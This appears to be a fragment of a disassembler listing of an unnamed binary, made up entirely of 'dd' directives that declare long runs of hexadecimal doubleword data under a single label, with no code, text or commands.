		dd 0DA73AEBDh, 0B748317h, 0D497A453h, 3297DC60h, 6B13134Ah
		dd 0E31C079Ah, 3473E0D2h, 92012BAFh, 90AA881Bh,	9770167Dh
		dd 0DAB41426h, 30D2AC20h, 56E60420h, 1A41A800h,	14838AAAh
		dd 0FC53A54h, 0B8001E3Dh, 0B45880CEh, 8612A905h, 0B49051F0h
		dd 487D5D20h, 0BA0BACA6h, 7879137Bh, 0FFD88D83h, 84CDE583h
		dd 28CB3FECh, 0F7D0E859h, 3584C8EBh, 8C120757h,	6004A076h
		dd 689BF0BCh, 0F346540Eh, 0CA77C0B7h, 0E211228Ah, 0E047487Ch
		dd 20A6F5C4h, 14ECD05Ch, 98E4B4E0h, 0E160CB83h,	3D0B40E7h
		dd 990F4CB5h, 0F6419Ah,	47A5ABFFh, 0B20201C6h, 79637665h
		dd 38206E27h, 78F8ACh, 233CC86Fh, 6A243717h, 0A90089F2h
		dd 0DBFDF97Ah, 4B87409Ah, 7C8044F0h, 5CCC881Eh,	53EC2200h
		dd 2DF09003h, 1004005Bh, 9B727E8h, 7B025962h, 1BFB4FC4h
		dd 58244411h, 0BB2D1458h, 3EF05864h, 9355102h, 219C8227h
		dd 0C0C0F19Dh, 1100DE3Fh, 0EB020BF2h, 2443BA58h, 40948283h
		dd 48E1DB99h, 877EC700h, 0DEAFA56h, 965200F5h, 775E8CDAh
		dd 4309E912h, 7229DE0Bh, 0FB453CACh, 0AF82D382h, 3C807FFDh
		dd 8191E7DCh, 6CAAC312h, 0C8B380D3h, 2749D61h, 198735CAh
		dd 78F17F76h, 579C6B00h, 10738FEh, 0C9AB994Fh, 0F415EAB1h
		dd 210F8A33h, 0E05D9D7Dh, 0AFA5765Ah, 0C928001Bh, 11E79678h
		dd 3400B2E9h, 6DFE7A12h, 0B71A7BFAh, 0B99FD425h, 5C3B7444h
		dd 460780CFh, 99E14E54h, 880C4C8Eh, 2F8A5300h, 58FB1E19h
		dd 1DA0D21Fh, 8A08F14Fh, 2B02645Ah, 50A4EF4Dh, 8490B574h
		dd 0E80F09A5h, 0C0DFB8E4h, 23A82A7Eh, 73BF2CDAh, 0D853BE8h
		dd 0F433DB72h, 5EB87864h, 0DC41E426h, 0C84993C2h, 0A56C0h
		dd 32A9656Eh, 0F3B9C350h, 0D8F23D2Eh, 6CF16100h, 0E2139A91h
		dd 198025E3h, 9D146C64h, 192AD63h, 74F65C0Bh, 3C4877DBh
		dd 0F3FD2423h, 8AC86284h, 6B743D40h, 0B9EAF60Eh, 7AA0C011h
		dd 12571E9h, 43C9C2DDh,	0D059102Ah, 3F2980B7h, 0C503ACE1h
		dd 809DA453h, 91CF78Fh,	0DDC885F2h, 818D2004h, 0D5F5A7F8h
		dd 90202E83h, 5EEB74h, 7FC81FBCh, 580AA3D6h, 897C3839h
		dd 79531C92h, 98BD000Ch, 8AEFD2C3h, 0B4549E07h,	53226A3Ah
		dd 644489h, 0AE9F785Eh,	0FEE070EBh, 0BDD2F900h,	0C6D18452h
		dd 0B1C000BAh, 3F1BFA9Ch, 0EC7FEB76h, 2A41FCB4h, 4CF02BF9h
		dd 7ACF0067h, 0F6AFE2A3h, 230079C2h, 0DC52DB45h, 1E364B6h
		dd 5411FCECh, 32896061h
		dd 0FD2901D0h, 18CBD4Ah, 0EB5CB0F4h, 8224206Bh,	0E63E12DFh
		dd 0AC88D0C7h, 407EFE25h, 0B6D1F53Ch, 93B205E0h, 872CE8C4h
		dd 10B7B5DCh, 0BD97B040h, 7F730033h, 7BC4C583h,	7962A5E0h
		dd 436CF940h, 617AE89Bh, 20AB0689h, 0A8A4FE0Ch,	0EF163E01h
		dd 8A2C5F28h, 967C206Eh, 45002161h, 23CC781Fh, 0B0CAC148h
		dd 0C89A0055h, 0ACDC44B6h, 2690E317h, 0F090235Bh, 2CB21Fh
		dd 0F58DFE9Fh, 696E22EAh, 98746B01h, 6CDDBE53h,	579C407Bh
		dd 0EB99EA9Dh, 0AE655100h, 431290D8h, 0EF9100F4h, 44224210h
		dd 10021DDh, 0D6CF4AA0h, 0B9898641h, 39CA0E6Ch,	1150A260h
		dd 800223E7h, 64DD0BE5h, 54C4E4h, 85DAFC75h, 77A0E67Ah
		dd 18406D5Bh, 4BAB6CD8h, 20AF0ED3h, 0ACA7E5A9h,	2E25E2A6h
		dd 0FCF26A20h, 53700A7h, 27221A94h, 42027E4Dh, 0D75E207Dh
		dd 2F3CE6DAh, 3CC957C3h, 6431F078h, 4C0D9E00h, 34B5054Ah
		dd 2400BF93h, 0ACB3C8BCh, 20127200h, 61B85F90h,	8C595FC4h
		dd 1A88CF5Ch, 602A00B1h, 1780914Ch, 0AA90B4A5h,	65C3301h
		dd 4257B8E8h, 99EC206Fh, 0C1007145h, 70A28522h,	1E89FFDh
		dd 0DC020FD1h, 3B44C455h, 32A85020h, 52833E34h,	4A305C24h
		dd 1EEE6080h, 9700EA60h, 297C79C1h, 7120FE2h, 0EF59FCC6h
		dd 57D3026Ch, 24C0C363h, 0DA248434h, 0C2110C8Dh, 79334207h
		dd 670D605Ah, 909FAA5Fh, 779095C0h, 484C0058h, 75B93484h
		dd 7E2CCA4Dh, 0FB004ADCh, 77EB377Ah, 48B35C0Ah,	31009E22h
		dd 1E03B45Dh, 0FA9539F7h, 70C900F1h, 13E106DCh,	0E8A0F64Dh
		dd 45171680h, 0F4B42617h, 77A40073h, 81C20252h,	0C0987940h
		dd 264711FFh, 1D311860h, 84DAD8A2h, 8C011DD0h, 797A9D90h
		dd 4C0FA4E4h, 950969h, 7B5BBA18h, 318C0337h, 3AC35A61h
		dd 0DD80B0C4h, 61C08978h, 0D9833094h, 769900A7h, 0B3E55F3Bh
		dd 0E72E50FBh, 2D04A06Ah, 50ECC38Eh, 0FBEFC19Fh, 0C073E129h
		dd 0E70B7128h, 6041A9BFh, 59FCBECh, 0E427AB1h, 0EE8B27Bh
		dd 44A7C2B2h, 34E27441h, 727440h, 0EC7B3C78h, 15C4A3C2h
		dd 0B15EF7F4h, 713F888h, 49B303B7h, 0CBD00FDh, 5607A76Ch
		dd 259ED49Dh, 4008C04h,	0A86EE690h, 1E72CB00h, 5B97AAE4h
		dd 9FC0086h, 2DA6D303h,	4CB05A27h, 0EE9D3312h, 0D268A000h
		dd 36AA4B9h, 0E34CD72Ch, 78C1BBF6h, 4473FFh, 3D3880ADh
		dd 510406h, 6BB18657h, 0A9E85AD0h, 0F209B8B0h, 0E4C0BD87h
		dd 0FFFC28E8h, 22840089h, 8B754C99h, 34E043FAh,	193ED502h
		dd 90C1447Ch, 0BCF80494h, 0D2548B88h, 18C84809h, 0C90058DFh
		dd 0CF15F669h, 7D982FBh, 86B5E592h, 11D4C72Eh, 0C81E021Dh
		dd 1024D598h, 5D60A0ECh, 5B85A9h, 54C5FA8Ch, 9787A3BEh
		dd 0A0084300h, 0AC52E807h, 18D74815h, 1CF29807h, 16807B9Dh
		dd 3718E510h, 286D4928h, 0D13E761Fh, 93778EC0h,	0DF25D5h
		dd 92AC7D52h, 2205D4E1h, 0DCC0F54Bh, 74A686CBh,	9810011Dh
		dd 78DB437Fh, 0C2587CD0h, 0E165247Ah, 206E7279h, 0FBB889BCh
		dd 936B4500h, 325C380Dh, 703673F6h, 9C43254Dh, 9316F0C6h
		dd 23003E27h, 0DA6948FCh, 0CDEEF1h, 0D55D3D31h,	44BCC287h
		dd 0C4A9F401h, 0CBDAA44Eh, 0C3136079h, 0C548275Bh, 1A8F22Dh
		dd 55940F12h, 0DED4A13Ah, 0BEF71377h, 244488A4h, 0E13DA61Fh
		dd 20706B8Eh, 7972F74Fh, 3B4E0506h, 0A4894077h,	707B4A4h
		dd 0F91E2FA6h, 0D27AAB62h, 88B25A04h, 18090D88h, 72898427h
		dd 0B33B006Ch, 0FC6BF7DCh, 6C128215h, 1400A0B0h, 0E6181CC8h
		dd 0B0DB8BFh, 36B95580h, 110E00D8h, 0E0646EE8h,	5A051854h
		dd 835E0962h, 6C808176h, 11C8FFAAh, 0E4E4BD3Ah,	0B3549FF8h
		dd 0B02CE212h, 0C40E2AE8h, 575D263Ah, 5D01AC92h, 924075E2h
		dd 0EF033FD3h, 8F2CC89Eh, 89A59126h, 4EC25EF4h,	1754CC59h
		dd 0EA21BCA1h, 98290210h, 5CF71320h, 435C899Ah,	91D01569h
		dd 10EFCCCh, 5F8594B5h,	0C234D8BEh, 0E86803F7h,	0CC5F51h
		dd 0B6F2422Dh, 1F22ACC3h, 7BFB58A8h, 6AD06F00h,	2D3525ABh
		dd 86A200AAh, 0C0C162C6h, 7103D221h, 0AE3BCDEEh, 206100C8h
		dd 0C478E8A3h, 0DF076364h, 0BC667948h, 90C06595h, 0E8EFC256h
		dd 0C8BE285Dh, 0DB1929B4h, 428887A4h, 78E4A983h, 3D531700h
		dd 21BF9F10h, 0EE3C0B80h, 0C8517B1Dh, 8244540Fh, 0E0642C7Ch
		dd 3C2BA7D5h, 1C9C7623h, 42F8053h, 21354D8Fh, 8EFA2400h
		dd 0FD77AD6Ah, 5A2A02D7h, 5D3FB5C5h, 7F8BE980h,	58053705h
		dd 2CF84C81h, 0A6C82CC9h, 6D1F0040h, 17135DACh,	0C42D2127h
		dd 0E428A97Fh, 1E1507F0h, 604198FFh, 605A36CEh,	19B28A0Bh
		dd 580D197h, 0C035084Dh, 2B6840ABh, 7B094E98h, 4C0CC17h
		dd 0AB40CD04h, 1F75F5F2h, 78734809h, 0CA6400A5h, 1D55F987h
		dd 81B46A56h, 70CFAA17h, 2B0681Eh, 0A83C1CF5h, 0F854634Eh
		dd 0FA8504F2h, 3FA20392h, 78DACB7Eh, 0CCB14Ch, 0D0659715h
		dd 90148447h, 2AFE03A8h, 5DAA7291h, 81CCE7A1h, 0D57DA991h
		dd 0FAD0552Ch, 78F4054Ah, 4A77088h, 8CC4F1F0h, 4A0028C4h
		dd 0BC875DA3h, 4BEC45A5h, 17F482B2h, 8AA88657h,	0DB4925D0h
		dd 9158B064h, 31DF02C2h, 52F5882Ah, 0B4CE9500h,	1580A706h
		dd 21A070h, 0FF8A22Ch, 9820459h, 0E150F412h, 9A192C90h
		dd 81DA0233h, 942595D1h, 0A7611C80h, 0E000E55Eh, 3660DA3Ah
		dd 1D1E6E55h, 42587B98h, 0F1B2C39Dh, 457C1882h,	1105D05Ah
		dd 0C05AAA3Fh, 0DB1082AEh, 11A178E1h, 243F57C3h, 0E27CC2D0h
		dd 0B0405874h, 504401h,	0B1F3AEB5h, 8541C448h, 4CDADC88h
		dd 0E840F880h, 7AA80705h, 6FC875h, 99AA868Ah, 0A882C25Bh
		dd 123521CDh, 9626D0A9h, 4CCE6748h, 1E08C0B0h, 1A85C1h
		dd 70E891E9h, 3C4C6AC0h, 64BD270Ah, 5949FC10h, 0B47E8F18h
		dd 4C7410B2h, 60B4872Ch, 67738EAFh, 71699805h, 81C06DA9h
		dd 0D395FBh, 6483A03Eh,	57C8139h, 0F1384009h, 0DAB0004Eh
		dd 20FD949h, 0B34FCC1Eh, 0E8EE1DE8h, 0A0703E27h, 9D2B25B4h
		dd 0F0E53F1Dh, 20615B80h, 4BD1550h, 6C1286F8h, 0F0BC309Bh
		dd 0D89C9980h, 0B003087Ah, 67C944EDh, 0C7C8D133h, 62BDE2E3h
		dd 10C0FE34h, 0E05E2FF6h, 4AD6F8C8h, 86000BD5h,	6B28EC81h
		dd 0B41060D4h, 48E011B7h, 2ED316CCh, 0A56959h, 621B587Dh
		dd 79008D54h, 5788520h,	355DD1DDh, 0FC505988h, 0A04248Ch
		dd 799C7003h, 98BDC57Ch, 0E496CF3Eh, 0B81B129Bh, 556D0224h
		dd 0F98743E8h, 80721E84h, 594DE12Ch, 0B1F49FE0h, 0AA832D0Fh
		dd 45F0C74Ch, 13205A60h, 2B1F00C1h, 7A114018h, 51136301h
		dd 0A21B7Bh, 0D8A8B419h, 2247F1DFh, 0CE050068h,	0DA84886Eh
		dd 31366E7Ah, 3468E049h, 0D800E8E5h, 31B78CF1h,	0EC63A775h
		dd 0A03009Eh, 51FB08D4h, 0C2008676h, 0C44A9CBBh, 15A2DE7h
		dd 50FE4194h, 3118289Dh, 80F82C60h, 0CC082AAAh,	765800B3h
		dd 83F791D1h, 2126253Fh, 5940AC6Dh, 76C5DAh, 0B49FA21Fh
		dd 0AE1B16BFh, 0F225211Dh, 664A98C2h, 0EFA4E05Ch, 444C0045h
		dd 143804CEh, 6F00C3D9h, 343BC818h, 0BC473FCh, 7568B511h
		dd 0C62D2080h, 812D8DB9h, 38DC64A2h, 1C3AAF4Ch,	0D1CA2C00h
		dd 0D086652Dh, 0DB56C217h, 0FD1064B2h, 45380E1h, 0CBBB478h
		dd 563C7E79h, 6C5AF0F0h, 0B0CE18D0h, 40C90037h,	175375DAh
		dd 1D60FB87h, 0BAB670F8h, 804CB625h, 0AB8C3CFCh, 63072D6Eh
		dd 6D6FD0A5h, 20A700EBh
dword_5C805C	dd 914E882Eh, 467C097Ch, 0A896C452h, 7F4DF740h,	0D85C39CEh
		dd 0C4DA01FCh, 0E1C28814h, 9043D2Ch, 3CD9DCh, 5523FF59h
		dd 59240049h, 7AEAE23Ah, 402D586h, 1D24791h, 23684074h
		dd 0C70FDD7h, 86A50B08h, 0D06AF704h, 0B9073856h, 79E9E573h
		dd 2B2C007Ch, 990C0A36h, 0F9A24812h, 0FF9DE890h, 0BC57C17h
		dd 0CDC92F0Eh, 0E1074466h, 0EFC00F7Ah, 795DA640h, 1EB60458h
		dd 8C3D87B0h, 0E00252CCh, 63B3A317h, 12E0609Ch,	0C87E5CFEh
		dd 5CDAC200h, 6D1AE04Bh, 1BC4300h, 2DA1A6D5h, 0DB6F0924h
		dd 9852371Fh, 0C1808CF4h, 0C37D16F9h, 30F0308Fh, 58395AD5h
		dd 0A7668187h, 2F9F4033h, 5A42DC20h, 0B28C21BCh, 1DA0E869h
		dd 9EE4EA09h, 88DC0471h, 4F0820BEh, 930098CFh, 0EBD48FF1h
		dd 6FEC01h, 0F066683Ah,	7C7A7049h, 24090898h, 854D906Dh
		dd 0B000A262h, 124C50DFh, 9486FE20h, 936BC188h,	20B18055h
		dd 0D5B7E70Ch, 0E01D7281h, 2CC82EFFh, 9D051D9Bh, 1212E2h
		dd 4D97BABh, 0E43844A1h, 43C49219h, 54936C22h, 0D039805Ch
		dd 1832D210h, 64FCD400h, 124D6E54h, 5730065h, 0F2A11D94h
		dd 4445C2A6h, 886A9060h, 251FFA76h, 2054CB5h, 29802451h
		dd 0FC8617A5h, 0EB281DF5h, 1E648077h, 9A55FC3Fh, 900AA72Fh
		dd 1F59B9A0h, 475EADEBh, 90673ED8h, 770C7D87h, 109707FCh
		dd 98739Ch, 2A11605Fh, 3C50560Fh, 71514C71h, 28362E9Ch
		dd 0A2D92C92h, 34003E3Dh, 0F3818FFAh, 2701D193h, 5D28F7D2h
		dd 9ACB4D20h, 6D8C90E2h, 725EA08h, 0F2464CE7h, 3E81CEABh
		dd 291E7CA8h, 0CBE42DA8h, 66B6A9B8h, 0AF63F03Eh, 0EE7A5F00h
		dd 4A356D81h, 6C9B2918h, 41E600DCh, 0DB3E402Fh,	10AD0D01h
		dd 65852866h, 20E3420h,	0C44DAC08h, 70F4133Fh, 16DAB40h
		dd 84D30014h, 952D353Eh, 41741B7Dh, 789E148h, 1C9D4CBDh
		dd 0E0E2B5C3h, 138DF826h, 0D023B283h, 142FA124h, 22749A7Ch
		dd 0D845800h, 0BBC96B08h, 0EC964C05h, 162601Dh,	87B1AFABh
		dd 0C871C6F7h, 8CDA843Bh, 0D4A4E52Eh, 57690039h, 9DF94FFCh
		dd 451DBAE3h, 0D24025F5h, 9CAA0587h, 546095BFh,	449D7690h
		dd 0E0923968h, 0D933BB07h, 0F602BF05h, 0F056A696h, 0AB905C67h
		dd 5BE529DFh, 85384082h, 912777B5h, 2657BC05h, 0FCCC2D90h
		dd 2FF00E3h, 99C87189h,	9B4CEF2Fh, 27362F04h, 7A0EAB0h
		dd 177E934Dh, 9D30A83h,	98003ABCh, 0A3DF9E43h, 6030AB4Ah
		dd 2EC7AAB2h, 69985BC1h, 9C4070F8h, 0F8F61ED2h,	3126167Ah
		dd 0C8ED5AECh, 0F4005DB7h, 0CCDE0973h, 687874h,	483B408Ah
		dd 4780AF99h, 0F211EF00h, 0AB0BBB2Ah, 8A420075h, 0C7C4BBDh
		dd 2FEDB58h, 0B7074700h, 4F72D7A4h, 6E1CFCFDh, 0A5C0A1DDh
		dd 5F6B1E11h, 8088344Ah, 6EA91E6Ch, 8377C018h, 48028DAh
		dd 0DE020EFAh, 847F1F8Ch, 4F405DC6h, 200C2BBh, 0CCEC7BC8h
		dd 927263Bh, 0C3D7FC9Dh, 832D6044h, 0B7A02082h,	11DDE2Ch
		dd 95B926E1h, 82CCD569h, 0FC8141Eh, 0CAAC807Eh,	5A844A27h
		dd 89748110h, 904180C0h, 747D9733h, 811500AEh, 0C26D0E8Ch
		dd 2C05220Ah, 3C59EA30h, 0B80FE8C7h, 0A2E3E0h, 1D4A95B3h
		dd 835A13A9h, 0C42F317Bh, 1948102Dh, 0E6AC0459h, 0FCC5AA49h
		dd 0A34F2F54h, 0C27C83E0h, 5084DC4Eh, 5A003205h, 4103ED2Ch
		dd 4E24208h, 0F3680CBh,	0C7A8F8A5h, 804BB28Fh, 55AF7A4Ah
		dd 0E77F7945h, 0F23DDADCh, 0BF0147Bh, 0BB00808Ch, 0EF124A72h
		dd 189DE928h, 29CB80h, 0D6595D50h, 1D753C09h, 0EABB9700h
		dd 2E7293DDh, 0CCEB00C0h, 15835880h, 3BE94176h,	592F4820h
		dd 709010Ah, 5B477EAh, 28B0C4ADh, 56F58818h, 88C782E1h
		dd 54005B08h, 8DDD5EB9h, 970C2FCh, 7FC4124Fh, 7CA19890h
		dd 2A14D6Fh, 5A34DB62h,	41720544h, 9477B84h, 9CD67C10h
		dd 0FD627940h, 0F167996h, 0F0C4C887h, 0C738E033h, 785C009Ah
		dd 0E7A5176Dh, 3DB56420h, 3876FBh, 2E9B8F1Bh, 0CBB43BF0h
		dd 40D6E400h, 7D82AC3Fh, 0D32A2EBCh, 84AE0B27h,	54B2BF81h
		dd 2BCD307Ah, 28652930h, 3A3DC71Bh, 0D980554Bh,	0CCA98E6Ch
		dd 9BEE1FF0h, 83D5440Eh, 3FC05FC7h, 4148044Ch, 0B0080EF7h
		dd 95207CA4h, 0B9CE6ECBh, 0A8490D0Eh, 4E59F828h, 0EFFC0775h
		dd 0C009ADABh, 4A404C98h, 645CC200h, 0D68ED81h,	18F60154h
		dd 9C3A80AAh, 0C107DB0Ch, 0F41C27Eh, 0A007D773h, 6E7029h
		dd 98146540h, 5E0561D3h, 0BEE73701h, 722C3DD7h,	4D837980h
		dd 0B793D23Ah, 9A57A900h, 2D8A909Eh, 4A450C31h,	0EED118EDh
		dd 51E080Eh, 0DED78111h, 7630E4FFh, 3F48CFABh, 0BEB5DC00h
		dd 90002876h, 19D99956h, 73B1BB0Dh, 5E460680h, 514E8773h
		dd 0E950BD02h, 0E0F84556h, 40923h, 8F0482Fh, 87637203h
		dd 9C388F1Ch, 19E91F40h, 0C06D2C6Eh, 51B5DDB9h,	0F4008646h
		dd 759C0F4Ch, 44F592h, 88946F07h, 0F09F9573h, 4F500500h
		dd 6D0BF77h, 8DEF02Fh, 842C7242h, 310DAC00h, 7CCE4C37h
		dd 7801306Eh, 64B37319h, 70BC71C0h, 15E13EBFh, 0BC08D6AEh
		dd 6EE56300h, 6989BA54h, 7103DDE8h, 845D8A44h, 43E90053h
		dd 0E6CFE57h, 7C0086FBh, 6EC9408Fh, 0F7634F1h, 89E89905h
		dd 7978A0EEh, 0E0001723h, 0BB868845h, 887FC6Fh,	10F79BDCh
		dd 99A0288Ch, 1F717C09h, 0C0FFE18Dh, 74447A4Ch,	21CA6AB4h
		dd 0CF0E4487h, 91007C7Fh, 0F2D4BE0Ah, 0A0F30008h, 0C24BE1CEh
		dd 8F307487h, 98DF3969h, 0B870E3E3h, 0DD84246Eh, 5030770h
		dd 838AD110h, 5459AD7Fh, 0BAAA00BCh, 0F43B1D7Dh, 7A4BB904h
		dd 5C82C05Ch, 6604342h,	840F09C8h, 880039B6h, 0C010EA33h
		dd 24FACF43h, 194EC9Ch,	0EE4AF0D3h, 9B298667h, 7AF9110Ch
		dd 208A50BDh, 0B16D5807h, 4795D900h, 0EADF8793h, 6BFF5406h
		dd 298084h, 0A1AEB077h,	30AB0D4Ch, 5B356807h, 0CE202475h
		dd 64D709A8h, 8498614Bh, 76C8C0C3h, 791DA33Eh, 7400CD8Eh
		dd 9465D8A4h, 6626185Dh, 4FA1320Eh, 0F9F8B13Fh,	2F48B8A4h
		dd 73370FC0h, 0C0866F5Eh, 0E34A390Dh, 4691C055h, 7F6E2E9Ch
		dd 0D9AADA00h, 0F7F6D3FFh, 3064007Bh, 0DE6D88CFh, 0EB48C6D4h
		dd 0AFA58034h, 0D80D4Eh, 0D71007FDh, 0A9622AD9h, 8E1B7110h
		dd 72B81203h, 83E9232Fh, 0D5D97030h, 0E6086D60h, 104EEBh
		dd 1189FC90h, 3BB778F3h, 4138F500h, 4CB027D4h, 6A1CA149h
		dd 174C6CCh, 65A575CAh,	0D0564489h, 4F1FF6D4h, 0E040D33Bh
		dd 0E4DF4CDh, 30E603BEh, 363279C7h, 90E054D3h, 750083D2h
		dd 0B9DCA888h, 9448CAh,	0F22CB081h, 0BDC5FFB7h,	0DFC5080h
		dd 0B6DA608Fh, 0B1C88F10h, 8CABA0FDh, 1C1AD2Fh,	0AF73DE47h
		dd 0A2CAD867h, 4003C38h, 0AB102DE7h, 2CA425E2h,	0EB783h
		dd 0B2693331h, 0D80E6AACh, 0A64B5h, 20D49144h, 309400FCh
		dd 0D5865A0Fh, 0D306CABAh, 0C74887C8h, 28210799h, 0F0079785h
		dd 959FA3DBh, 666C2500h, 0D393A8A2h, 144000F1h,	4434D46Bh
		dd 0FD003117h, 63516132h, 43DBB0h, 0A4910A33h, 4B47CA78h
		dd 0DCB57B0Bh, 928D83CBh, 1F172B4h, 69E9D7F8h, 802248D9h
		dd 770423D9h, 0F3C12CDh, 0F12CF4ABh, 0C2A6EC00h, 8EFE78D5h
		dd 56B3A500h, 0D37E353Bh, 0EBB6185Ah, 0A2DA4117h, 0F76461C0h
		dd 2D2EFCh, 7B07CB20h, 3634A9C7h, 43D53800h, 0AAEEAB88h
		dd 0A84160D1h, 22E75BF0h, 81C2A24h, 8BB57C80h, 2C38F3A1h
		dd 0C503B54h, 4B61BB25h
		dd 0D1FE9FF2h, 0ECCF4D00h, 2234858Bh, 41F56029h, 2CD4B578h
		dd 52B9BF0Ch, 3EDC50DFh, 0D000992Eh, 55669C59h,	31C2B756h
		dd 6024809Dh, 0B86E56h,	58A8C368h, 70E09F66h, 220BB501h
		dd 6E04AF5Ch, 18E37024h, 419148BAh, 5C1EF6CBh, 1EDD3AACh
		dd 544A4E82h, 0FF8C6097h, 0DED0030Ch, 7F4D3E78h, 0C91EB09Bh
		dd 1455F62Ah, 546C0EA0h, 0DBD64002h, 0F66809B8h, 0A80A1FC3h
		dd 4E0E467Ah, 8802C8D1h, 0D37FC791h, 0B8466Bh, 0B11C63B6h
		dd 0F55ECD0Ch, 4972640Ch, 7A5A1CEh, 52A6CC9Eh, 0BADE008h
		dd 0D965A48Fh, 0CE802B50h, 0C6A03D7Fh, 39844899h, 0D4A80600h
		dd 0F1B29452h, 0D8C0F24h, 0E3217CB0h, 946AAE8Ah, 6E4E629h
		dd 0C91ED6EEh, 0D2570710h, 0FEE7A338h, 31708EA0h, 9400C55Fh
		dd 9D3719F3h, 234D189h,	62333F3Eh, 84A0797Fh, 7D54D012h
		dd 80282C48h, 0AF0AA3Dh, 0ED3400E3h, 0D037BC98h, 163C29A3h
		dd 0FAE71432h, 0C0FF04D1h, 87804178h, 1D3154CAh, 9334FBh
		dd 994998D2h, 0F729E6B2h, 2F1F8C48h, 2B79DE8Fh,	0FB2600ACh
		dd 198723DDh, 910D4DC3h, 8E86D8A2h, 0EDE1DC00h,	6740A113h
		dd 0DB7403B7h, 0AD252871h, 0DF00A975h, 50B3C18Ah, 661EABh
		dd 0D02B3DBFh, 0AF42774Eh, 0A4BE0B13h, 0EF9D0800h, 4DE7B7D7h
		dd 720000CCh, 54B4D53Eh, 0A626DC86h, 4D0C7CA4h,	7E7021C6h
		dd 0C2162CD2h, 3C0139CCh, 0D8B57DDDh, 3AF54029h, 254CC03Bh
		dd 92AB0C98h, 63900854h, 18EC68F5h, 0E0DAD13Bh,	656D59B1h
		dd 27F30FA2h, 41FF9D90h, 0D6D1F277h, 5FEC5062h,	4303D24Ch
		dd 0B385CB49h, 0AB2DC129h, 5DD110C7h, 332056h, 64444073h
		dd 28C7CF5h, 0DCDEE524h, 82985260h, 76D61F93h, 229A40A2h
		dd 0F5D33EAEh, 5A269074h, 800F4FCh, 0F95495FEh,	0C8276CF6h
		dd 0AA6E252Ch, 0DB316049h, 1ED9DC91h, 2E3A7733h, 3E12C0h
		dd 8372EBC4h, 45185122h, 8FC968D0h, 1AC80070h, 0A2D7D658h
		dd 9D00CFB5h, 8E53F124h, 0FDBB98h, 22AA73D4h, 3DCA1D87h
		dd 0BF60E3FCh, 8680F810h, 426903D7h, 737B6B6Ch,	0E8B619D0h
		dd 0C2D01354h, 0A34F5E12h, 7FE34402h, 3F44444h,	627A1084h
		dd 8AD2CDDEh, 1DB51D60h, 6C018F74h, 0EB303E0Fh,	80363723h
		dd 0E2F42603h, 6100FA4Dh, 8F063633h, 56EC834h, 0B7E1BAB0h
		dd 254C88E8h, 0A671AF63h, 0F2F98822h, 307046Fh,	8270C002h
		dd 0D44028F3h, 3A0269F1h, 0F37A2A46h, 8DD0912Ch, 0D91BD8h
		dd 0F22A8EEh, 23DB27C8h, 99E83430h, 3D93E2h, 0C5FD6BEEh
		dd 7F8FB63Eh, 4D596012h, 50DA6421h, 4A148E4h, 0ADF99D79h
		dd 0B094C849h, 420033B0h, 0D1B7F3B2h, 0F626F0CFh, 7E950197h
		dd 0BB06D5A6h, 0BED898C7h, 0C1419251h, 0A9604478h, 50E8576Ah
		dd 748381A5h, 54DF4D16h, 80B77008h, 35D27DDh, 95187698h
		dd 1919A926h, 0A7D6013Dh, 5E515B96h, 7310D03Eh,	1CA95313h
		dd 4EC75C5Dh, 64176F67h, 0EB2385C0h, 105F0B32h,	2A800688h
		dd 92A9E1A4h, 33AF9E05h, 0BC202CA2h, 0C0F7B3h, 0DBA9158Ah
		dd 648D3CA4h, 0FBBF9000h, 61543D95h, 0D99E03E2h, 0AE89BB4Eh
		dd 452889A5h, 64BC08C0h, 0C2846C80h, 0F88966h, 0B2570D48h
		dd 1E3966Eh, 8FB7DD00h,	7D4ED185h, 81A86025h, 4F39C3BFh
		dd 0DC327C02h, 8443FA16h, 2F43BB80h, 8FA0E97Dh,	0D500F220h
		dd 0A72566F0h, 297F49D8h, 0A0B54Ch, 0D7114573h,	91C966D1h
		dd 8C0700E7h, 1F2F17E9h, 0F8AD38C3h, 7E8014CCh,	792D93A9h
		dd 0F1F37F00h, 0D7BA6BB7h, 317101FBh, 0A5C23832h, 0E0EC21BCh
		dd 0D03AB8C5h, 0DAAD0730h, 39D456EDh, 228280C0h, 486C4A35h
		dd 8D806028h, 702EE281h, 0B5DB1711h, 11A00A4h, 8E7D9BD6h
		dd 481FD890h, 3B17AB65h, 3122CD03h, 764913E7h, 34540092h
		dd 81AE1E53h, 38593562h, 7CC42Ch, 0BF58FD60h, 0B807AEAFh
		dd 847AD300h, 2D0F23BDh, 99777C37h, 286C0028h, 3EE39129h
		dd 0B5C84500h, 0CF3443FCh, 0D1EB2410h, 5B6E4028h, 5D00F02Ah
		dd 597C9C01h, 7760EA54h, 0CF450267h, 0FF66DE86h, 0E19A60E3h
		dd 0B7F7ECC0h, 21BFED25h, 0E20F3B58h, 0A170A520h, 94477D5Ch
		dd 40634458h, 2627C9ACh, 0B1721C7Dh, 0F5BBC313h, 210151D6h
		dd 0D0273C2Dh, 0D730ADDDh, 0FBE30176h, 494FC62Ch, 0FF5180B6h
		dd 7BA59141h, 54D30022h, 979FED51h, 0BC009A96h,	28B04EDAh
		dd 3468162h, 0B48DF530h, 6BC3AF9Dh, 7EC96967h, 47EEEB41h
		dd 69F00880h, 0DD76205Fh, 20259325h, 98107B48h,	28714859h
		dd 0CE8572C0h, 140780A9h, 0B455D29Eh, 60E0BF12h, 2E2321D4h
		dd 41F8565Ah, 0DC9260DEh, 0A3005E94h, 8B77B61Eh, 1CA4ED8h
		dd 0AF320AD3h, 14ED3523h, 0ADEEB080h, 0B89564AAh, 0B6BF6072h
		dd 0BCB1EBh, 96446E4Fh,	51CFF54h, 1B582317h, 44E6D49h
		dd 0C5A372EFh, 0E04C826h, 89511A00h, 0A5044896h, 88AC075Ah
		dd 94D51FBDh, 0D3D8D00Fh, 0CA002B7Eh, 8C0485B2h, 7F459EBh
		dd 0BE7F9BA4h, 5326C1B7h, 0E0487093h, 3E9E9000h, 0D1A40EC0h
		dd 2D5B0221h, 987FC12Fh, 69DBA490h, 0F1B8AE03h,	23484Eh
		dd 369DA369h, 60ACB03Ch, 2AA25200h, 0E79024B9h,	26DD7B7Bh
		dd 2C40FA3Eh, 11490798h, 0A801694Dh, 20BC295Ch,	10C0DF4Ch
		dd 2C521FEEh, 2171CEACh, 0CD5A00D2h, 2643B8ADh,	378F2700h
		dd 54723F61h, 0AC4F56AFh, 0B540E003h, 80878428h, 1E1A3130h
		dd 0FC58F73Dh, 0E1B92707h, 0F6C04E01h, 1F69F90Dh, 0E2A37F95h
		dd 9620DB3Bh, 94204985h, 85C9E55h, 0C74DB104h, 0F5C96980h
